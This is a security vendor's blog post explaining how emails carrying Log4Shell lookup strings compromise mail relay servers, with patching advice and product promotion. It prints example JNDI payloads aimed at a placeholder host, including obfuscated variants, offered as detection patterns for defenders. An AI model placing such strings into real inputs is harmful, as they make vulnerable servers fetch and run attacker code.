Attackers Use Email + Log4j Vulnerability to Efficiently Exploit Email Infrastructure

December 20, 2021

Over the last few days, Abnormal has successfully blocked multiple attempts by attackers to deliver emails similar to these to our customers’ unsuspecting end users.

Log4j email delivery attempt examples

To the average recipient, these emails seem harmless, as they’re mostly gibberish with some suspicious-looking URLs.

However, the email recipient is not the intended target for these emails. Instead, the email content exploits a vulnerability presented by Log4j, a logging library broadly adopted by most Java developers, to compromise and even take over any email infrastructure that relays these email messages from senders to their destinations.

Curious how it does this? Read on.

What is the Log4Shell Vulnerability?

On December 9, 2021, a severe remote code vulnerability (CVE-2021-44228), a remote code execution (RCE) vulnerability with a CVSS score of 10 was revealed in Apache’s Log4j, a very common logging system used by Java developers. Early attacks include cryptomining, ransomware, data exfiltration, remote access trojans, and more.

When an operation attempts to write messages to logs, Log4j allows lookups to provide additional information to the log messages. This could include retrieving and adding to the message content, modifying timestamps, or changing environment details to give developers the clues they need if asked to debug the software. This information can be retrieved locally, or it can be retrieved from a remote machine. For the remote lookup, Log4j uses the Java Naming and Directory Interface (JNDI), which provides developers the means to look up objects using different services and protocols such as LDAP, DNS, RMI, and CORBA, to name a few.

Here is where the vulnerability lies. When an attacker feeds Log4j with a string containing a JNDI lookup command, Log4j reaches out to the remote server hosted by the attacker to fetch and execute the malicious Java code and successfully compromise the target server.

Log4j using JNDI lookup to execute malicious code

How Does Log4j Affect Email Infrastructure?

As emails traverse from the sender’s mail client to the recipient’s inbox, they rely on multiple SMTP / MTA, DNS, Web servers and more, to send the email to the right incoming mail server and, finally, the inbox.

Log4j affecting MTA, DNS, and SMTP email infrastructure

You might think that you need only be concerned about servers where the incoming TCP connections service requests are handled directly by Java code and runtime libraries. But there may be other modules in the background that lie within these servers to perform other jobs for analytics or reporting purposes. And, there is a fair likelihood that they are processing email header information, and if and when they do, they are likely writing some of that information into their logs. Why? Because developers like as much specific information as possible to run root cause analysis when needed!

And herein lies the vulnerability. Log4j then parses the string and consequently retrieves and executes the malicious code, which compromises any and every server that uses the logging library that attempts to log information about the email.

How Has Abnormal Addressed the Vulnerability?

Our commitment to security and privacy requires that we conduct a full impact assessment as soon as a vulnerability like this is identified. Our assessment confirmed that Abnormal products do not use the affected versions of Log4j / Log4Shell / CVE-2021-44228.

The Abnormal information security team has performed additional verification to ensure that there are no externally visible JVM handlers that are affected by this vulnerability.

Am I Protected from Email Log4j Exploits with Abnormal?

Yes, Abnormal classifies any attempts to exploit Apache Log4j to mount an attack as malware. Our combination of behavioral signals, such as connections being created to utilize the Log4j payload and the presence of macros and trojans will be used to detect the rapidly changing forms of attacks in the wild. Furthermore, we combine our user behavioral signals with threat intelligence and sandboxing for a layered defense-in-depth approach to security.

How is Abnormal Providing Additional Protection to Customers?

Our information security and engineering teams have worked tirelessly to ensure our customers have complete protection from any email-borne Log4j related threats. This includes searching for attempted abuses of JNDI strings across our customers that match the following pattern:

${jndi:ldap://badurl}

And even those that attempt to obfuscate the string. For example:

${jndi:${lower:l}${lower:d}ap://badurl}
${${lower:j}${lower:n}${lower:di}:${lower:l}${lower:d}ap://badurl
}

This means that no matter how attackers attempt to use the JNDI strings within email messages, you’ll be protected from this threat.

How Do I Protect My Organization’s Infrastructure?

You will need to find any and all code in your network that is written in Java 2.14 or older, excluding security release 2.12.2, and check whether it uses the Log4j library. Out-of-date Log4j versions need to be updated immediately to the most recent versions, which are 2.12.2 for Java 7 and 2.17.0 for Java 8. You should also apply software patches from vendors as they become readily made available.

Abnormal will continue to detect and block never-before-seen (zero-day) attacks of this kind that target your company and routinely evade traditional threat intelligence-based solutions like secure email gateways.

If you have any questions or concerns that you would like Abnormal to address, please open a case in our support portal or email support@abnormalsecurity.com.

Not yet an Abnormal customer? Request a demo today to learn how Abnormal can enhance your email security capabilities and provide visibility into email threats that other solutions miss.

Demo 2x 1

See the Abnormal Solution to the Email Security Problem

Protect your organization from the attacks that matter most with Abnormal Integrated Cloud Email Security.

Related Posts

B 06 21 22 Threat Intel blog
Executives are no longer the go-to impersonated party in business email compromise (BEC) attacks. Now, threat actors are opting to impersonate vendors instead.
Read More
B 06 7 22 Disentangling ML Pipelines Blog
Learn how explicitly modeling dependencies in a machine learning pipeline can vastly reduce its complexity and make it behave like a tower of Legos: easy to change, and hard to break.
Read More
B 04 07 22 SEG
As enterprises across the world struggle to stop modern email attacks, it begs the question: how are these attacks evading traditional solutions like SEGs?
Read More
Enhanced Remediation Blog Cover
The most effective way to manage spam and graymail is to leverage a cloud-native, API-based architecture to understand identity, behavior, and content patterns.
Read More
B 05 16 22 VP of Recruiting
We are thrilled to announce the addition of Mary Price, our new Vice President of Talent. Mary will support our continued investment in the next generation of talent here at Abnormal.
Read More
B 06 01 22 Stripe Phishing
In this sophisticated credential phishing attack, the threat actor created a duplicate version of Stripe’s entire website.
Read More
B Podcast Engineering9
In episode 9 of Abnormal Engineering Stories, Dan sits down with Mukund Narasimhan to discuss his perspective on productionizing machine learning.
Read More
B 05 31 22 RSA Conference
Attending RSA Conference 2022? So is Abnormal! We’d love to see you at the event.
Read More
B 05 27 22 Active Ransomware Groups
Here’s an in-depth analysis of the 62 most prominent ransomware groups and their activities since January 2020.
Read More
B 05 24 22 ESI Season 1 Recap Blog
The first season of Enterprise Software Innovators (ESI) has come to a close. While the ESI team is hard at work on season two, here’s a recap of some season one highlights.
Read More
B 05 13 22 Hiring Experience
Abnormal Security is committed to offering an exceptional experience for candidates and employees. Hear about our recruiting and onboarding firsthand from three Abnormal employees.
Read More
B 05 11 22 Scaling Out Redis
As we’ve scaled our customer base, the size of our datasets has also grown. With our rapid expansion, we were on track to hit the data storage limit of our Redis server in two months, so we needed to figure out a way to scale beyond this—and fast!
Read More